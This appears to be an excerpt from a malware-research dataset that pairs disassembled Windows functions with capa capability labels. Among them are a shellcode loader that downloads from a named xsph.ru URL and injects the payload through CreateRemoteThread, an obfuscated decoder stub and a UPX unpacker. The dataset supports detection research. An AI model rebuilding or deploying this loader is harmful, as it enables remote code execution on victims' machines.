joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45d760
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
mov eax, ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, edx
mov dword [ebp - 4], eax
and edi, 0x1f
mov dword [ebp - 8], edi
cmp edi, 8
jb 0x45d886
mov ecx, edi
shr ecx, 3
cmp dword [ebp + 0x10], 1
jne 0x45d805
mov dword [ebp - 8], ecx
push 0xc2b2ae3d
push 0x27d4eb4f
push dword [eax + 4]
push dword [eax]
call fcn.00460450
add dword [ebp - 4], 8
mov ecx, eax
push 0x9e3779b1
shld ecx, edx, 0x1f
shld edx, eax, 0x1f
push 0x85ebca87
push edx
push ecx
call fcn.00460450
mov ecx, eax
xor edx, esi
xor ecx, ebx
mov eax, ecx
push 0x9e3779b1
shld eax, edx, 0x1b
shld edx, ecx, 0x1b
push 0x85ebca87
push edx
push eax
call fcn.00460450
mov ebx, eax
mov esi, edx
mov eax, dword [ebp - 4]
add ebx, 0xc2b2ae63
adc esi, 0x85ebca77
sub edi, 8
sub dword [ebp - 8], 1
jne 0x45d793
jmp 0x45d880
mov dword [ebp - 8], ecx
nop dword [eax + eax]
push 0xc2b2ae3d
push 0x27d4eb4f
push dword [eax + 4]
push dword [eax]
call fcn.00460450
add dword [ebp - 4], 8
mov ecx, eax
push 0x9e3779b1
shld ecx, edx, 0x1f
shld edx, eax, 0x1f
push 0x85ebca87
push edx
push ecx
call fcn.00460450
mov ecx, eax
xor edx, esi
xor ecx, ebx
mov eax, ecx
push 0x9e3779b1
shld eax, edx, 0x1b
shld edx, ecx, 0x1b
push 0x85ebca87
push edx
push eax
call fcn.00460450
mov ebx, eax
mov esi, edx
mov eax, dword [ebp - 4]
add ebx, 0xc2b2ae63
adc esi, 0x85ebca77
sub edi, 8
sub dword [ebp - 8], 1
jne 0x45d810
mov eax, dword [ebp - 4]
mov dword [ebp - 8], edi
mov ecx, eax
cmp edi, 4
jb 0x45d8dd
add eax, 4
mov dword [ebp - 4], eax
mov eax, 0x9e3779b1
mul dword [ecx]
push 0xc2b2ae3d
mov edi, eax
mov eax, 0x85ebca87
mul dword [ecx]
push 0x27d4eb4f
add edi, edx
xor eax, ebx
xor edi, esi
mov ecx, eax
shld ecx, edi, 0x17
shld edi, eax, 0x17
push edi
push ecx
call fcn.00460450
mov edi, dword [ebp - 8]
mov ebx, eax
mov eax, dword [ebp - 4]
add ebx, 0x9e3779f9
mov esi, edx
adc esi, 0x165667b1
sub edi, 4
test edi, edi
je 0x45d924
movzx eax, byte [eax]
push 0x27d4eb2f
cdq
push 0x165667c5
push edx
push eax
call fcn.00460450
inc dword [ebp - 4]
xor ebx, eax
xor esi, edx
mov eax, ebx
push 0x9e3779b1
shld eax, esi, 0xb
push 0x85ebca87
shld esi, ebx, 0xb
push esi
push eax
call fcn.00460450
mov ebx, eax
mov eax, dword [ebp - 4]
mov esi, edx
sub edi, 1
jne 0x45d8e1
push 0xc2b2ae3d
xor ecx, ecx
mov edx, esi
push 0x27d4eb4f
shr edx, 1
xor ecx, esi
xor edx, ebx
push ecx
push edx
call fcn.00460450
mov esi, eax
mov ecx, edx
shrd esi, ecx, 0x1d
push 0x165667b1
shr ecx, 0x1d
xor esi, eax
push 0x9e3779f9
xor ecx, edx
push ecx
push esi
call fcn.00460450
mov ecx, edx
xor esi, esi
pop edi
xor eax, ecx
xor edx, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x45ec9b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x45ecda
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x45ecda
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x45ecda
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x45ecda
cmp dword [ecx + 0x74], 0xe
jbe 0x45ecda
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x45f3e0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [0x472008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x45f407
mov ecx, 5
int 0x29
push 2
call fcn.0045ed46
push 0x50
lea eax, [ebp - 0x320]
push 0
push eax
call sub.msvcrt.dll_memset
push 0x2cc
lea eax, [ebp - 0x2d0]
push 0
push eax
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x320]
add esp, 0x1c
mov dword [ebp - 0x328], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], edx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x230], esi
mov dword [ebp - 0x234], edi
mov word [ebp - 0x208], ss
mov word [ebp - 0x214], cs
mov word [ebp - 0x238], ds
mov word [ebp - 0x23c], es
mov word [ebp - 0x240], fs
mov word [ebp - 0x244], gs
pushfd
pop dword [ebp - 0x210]
mov eax, dword [ebp + 4]
mov dword [ebp - 0x218], eax
lea eax, [ebp + 4]
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0x2d0], 0x10001
mov eax, dword [eax - 4]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp + 4]
mov dword [ebp - 0x320], 0xc0000417
mov dword [ebp - 0x31c], 1
mov dword [ebp - 0x314], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x45f512
test esi, esi
jne 0x45f512
push 2
call fcn.0045ed46
add esp, 4
push 0xc0000417
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0045e090
mov esp, ebp
pop ebp
ret

Function at 0x45f740
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
call fcn.0042f550
mov esi, dword [ebp + 8]
test al, al
je 0x45f75e
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.0045f770
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x45f8a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 2
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x45f8fc
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x45f8fc
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x45f8fc
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x45f8fc
cmp dword [ecx + 0x74], 0xe
jbe 0x45f8fc
cmp dword [ecx + 0xe8], 0
je 0x45f8fc
push dword [ebp + 8]
call fcn.0045f770
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x4734f4
call fcn.0045f550
add esp, 8
cmp dword [ebp - 8], 0
jne 0x45f931
push dword [ebp + 8]
call fcn.0045f740
mov esp, ebp
pop ebp
ret
Function at 0x45f970
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x45f9cc
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x45f9cc
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x45f9cc
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x45f9cc
cmp dword [ecx + 0x74], 0xe
jbe 0x45f9cc
cmp dword [ecx + 0xe8], 0
je 0x45f9cc
push dword [ebp + 8]
call fcn.0045f770
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x4734f4
call fcn.0045f550
add esp, 8
cmp dword [ebp - 8], 0
jne 0x45fa01
push dword [ebp + 8]
call fcn.0045f740
mov esp, ebp
pop ebp
ret

Function at 0x460080
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60000
jae 0x4600aa
mov eax, 2
pop ebp
ret
push esi
call sub.msvcrt.dll__errno
lea esi, [eax - 8]
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x4600cc
test eax, eax
je 0x4600cc
push 0x10
xor esi, esi
call dword [sym.imp.msvcrt.dll__amsg_exit]
add esp, 4
mov ecx, dword [esi + 0x70]
mov eax, ecx
and al, 2
movzx edx, al
mov eax, dword [ebp + 8]
neg edx
sbb edx, edx
inc eax
cmp eax, 3
ja case.default.0x4600e3
jmp dword [eax*4 + 0x460118]
or ecx, 2
lea eax, [edx + 2]
mov dword [esi + 0x70], ecx
pop esi
pop ebp
ret
and ecx, 0xfffffffd
mov dword [esi + 0x70], ecx
lea eax, [edx + 2]
pop esi
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x16
call fcn.0045f3a0
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Create http request
Create thread
Execute shellcode via indirect call
Get http content length
Inject thread
Read data from internet
Receive data
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
push ebx
push esi
push edi
jne 0x100011b3
push 0
push 0
push 0
push 0
push str.HTTP_session
call dword [sym.imp.WININET.dll_InternetOpenW]
push 0
push 0x400100
push 0
push 0
push str.http:__a0914428.xsph.ru_fdjiuofsdoif3298fds_fdsfid0r43u98f_cheat.txt
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
jne 0x10001065
push 0x10
push str.Error
push str.Error_opening_URL
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x100011b3
push 0
lea eax, [ebp - 8]
mov dword [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 8], 4
push eax
push 0x20000005
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x100010a5
push 0x10
push str.Error
push str.Error_querying_file_size
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x100011b3
push dword [ebp - 0x14]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
jne 0x100010cf
push 0x10
push str.Error
push str.Error_allocating_memory
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x100011b3
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
push dword [ebp - 0x14]
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10001101
push 0x10
push str.Error
push str.Error_reading_file
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x100011b3
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x40
push 0x3000
push dword [ebp - 0x14]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x1000113e
push 0x10
push str.Error
push str.Error_allocating_remote_memory
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x100011b3
push 0
push dword [ebp - 0x14]
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10001165
push 0x10
push str.Error
push str.Error_writing_to_process_memory
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x100011b3
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x10001194
push 0x10
push str.Error
push str.Error_creating_remote_thread
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x100011b3
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100011cb
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10015217
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002d711
call fcn.10017005
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10015234
xor eax, eax
jmp 0x10015311
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x1001530f
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x100152e5
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.1000128b
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.1000128b
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10001cc6
lea ecx, [ebp - 0x240]
call fcn.10001cc6
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.10029ea1
pop ecx
pop ecx
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test al, al
jne 0x100152ef
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10001eb4
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x10015264
jmp 0x10015308
mov edi, dword [ebp - 0x234]
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10001eb4
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10016faf
ret

Function at 0x10029ea1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10029eb0
pop dword [ebp - 0x50]
mov eax, 0x10029eb0
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x404ca
push 0
mov eax, 0x4efb8a71
add eax, 0xc10766eb
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x8217e4e
sub ecx, 0x8213602
xor ebx, ebx
add ebx, eax
mov edx, 0x40bf8497
add edx, 0xcf452769
add edx, dword [ebp - 0x50]
mov edi, 0x131e2920
xor dword [ebp - 0x24], ecx
mov esi, dword [edx]
sub dword [ebp - 8], esi
xor esi, edi
xor dword [ebp - 0x10], 0x453b6f38
mov dword [ebx], esi
xor dword [ebp - 0x3c], 0xd4e5b947
add ebx, 0x89c4212f
add ebx, 0x763bded5
add edx, 0x6ff0bfbe
sub edx, 0x6ff0bfba
loop 0x10029f06
add eax, 0x11403
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x5b96c495
add ecx, 0xb4693b6b
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x4017df
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40181e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40181e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40181e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40181e
cmp dword [ecx + 0x74], 0xe
jbe 0x40181e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10002660
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x100026c1
mov eax, dword [ebp + 0x14]
shl dword [ebp + 0x10], 8
mov ecx, dword [ebp + 8]
push ebx
mov eax, dword [eax]
mov ebx, dword [ebp + 0x1c]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0x18]
push esi
mov cl, byte [ecx]
movsx edx, cl
sub cl, 0x61
cmp cl, 0x19
mov ecx, dword [ebp + 0x10]
lea esi, [edx - 0x20]
cmova esi, edx
mov edx, dword [ebp + 0xc]
add ecx, esi
add eax, ebx
xor eax, dword [edx + ecx*4]
mov ecx, ebx
shl ecx, 5
add ecx, 3
add ecx, esi
add ebx, ecx
mov ecx, dword [ebp + 8]
inc ecx
add ebx, eax
mov dword [ebp + 8], ecx
sub edi, 1
jne 0x10002682
pop esi
pop ebx
pop edi
pop ebp
ret 0x18
mov eax, dword [ebp + 0x18]
pop edi
pop ebp
ret 0x18
Function at 0x4c9e80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x87000]
push edi
jmp 0x4c9e9a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4c9ea1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c9e90
mov eax, 1
add ebx, ebx
jne 0x4c9eb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4c9ec4
jne 0x4c9ee3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c9ee3
dec eax
add ebx, ebx
jne 0x4c9ed0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4c9ea8
add ebx, ebx
jne 0x4c9edf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4c9f35
xor ecx, ecx
sub eax, 3
jb 0x4c9efb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4c9f6a
sar eax, 1
mov ebp, eax
jmp 0x4c9f06
add ebx, ebx
jne 0x4c9f06
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c9ed4
inc ecx
add ebx, ebx
jne 0x4c9f14
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c9ed4
add ebx, ebx
jne 0x4c9f21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4c9f16
jne 0x4c9f32
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4c9f16
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4c9f54
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4c9f46
jmp 0x4c9e96
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4c9f54
add edi, ecx
jmp 0x4c9e96
pop esi
mov edi, esi
mov ecx, 0x379b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4c9f72
cmp byte [edi], 0x13
jne 0x4c9f72
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4c9f77
lea edi, [esi + 0xc5000]
mov eax, dword [edi]
or eax, eax
je 0x4c9fef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xe1e5c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xe1fb0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4c9fa4
mov ecx, edi
jns 0x4c9fd3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xe1fb4]
or eax, eax
je 0x4c9fe9
mov dword [ebx], eax
add ebx, 4
jmp 0x4c9fc1
call dword [esi + 0xe1fc4]
mov ebp, dword [esi + 0xe1fb8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4ca023
sub esp, 0xffffff80
jmp 0x4165c1
Function at 0x402e4c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.0040496c
test esi, esi
jne 0x402e83
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA_1
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.00404a5c
jmp 0x402ea4
call sub.KERNEL32.DLL_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402ce8
mov dword [esp], eax
test esi, esi
je 0x402ea4
cmp dword [ebx], 0
je 0x402ea4
dec esi
jmp 0x402e8b
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x4039d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x473020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403a68
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x403a48
xor eax, eax
push ebp
push 0x403a41
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403a84
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403a48
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov ax, word [0x473020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x473020], ax
mov esp, ebp
pop ebp
ret

Function at 0x404764
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x475048], 0
je 0x4047c5
cmp word [0x47521c], 0xd7b2
jne 0x40478d
cmp dword [0x475224], 0
jbe 0x40478d
mov eax, 0x475218
call dword [0x475234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x473070
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4047ec
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
pop edx
ret
cmp byte [0x473030], 0
jne 0x4047e1
push 0
push 0x473068
push 0x473070
push 0
call sub.user32.dll_MessageBoxA_1
pop edx
ret

Function at 0x404920
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402a88
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x475049], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x4048e8
push eax
push esi
push ebx
call sub.KERNEL32.DLL_CreateThread_1
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x40675c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4067c2
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA_1
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404bdc
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00403420
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4067ac
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4067c9
lea eax, [ebp - 0x10]
call fcn.0040496c
ret

Function at 0x40bfe4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x40c01d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404a5c
jmp 0x40c026
mov eax, ebx
mov edx, esi
call fcn.004049c0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40c030
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x40c051
mov al, byte [esp]
jmp 0x40c053
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40d008
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40d0de
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404a04
lea eax, [ebp - 8]
call fcn.00404e7c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404e2c
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40d0c8
mov eax, ebx
call fcn.00402a88
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40d0c1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404e2c
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40d0ab
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40d0f0
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40d0ab
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d0c8
mov eax, dword [ebp - 0x10]
call fcn.00402ab8
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d0e5
lea eax, [ebp - 8]
call fcn.0040496c
ret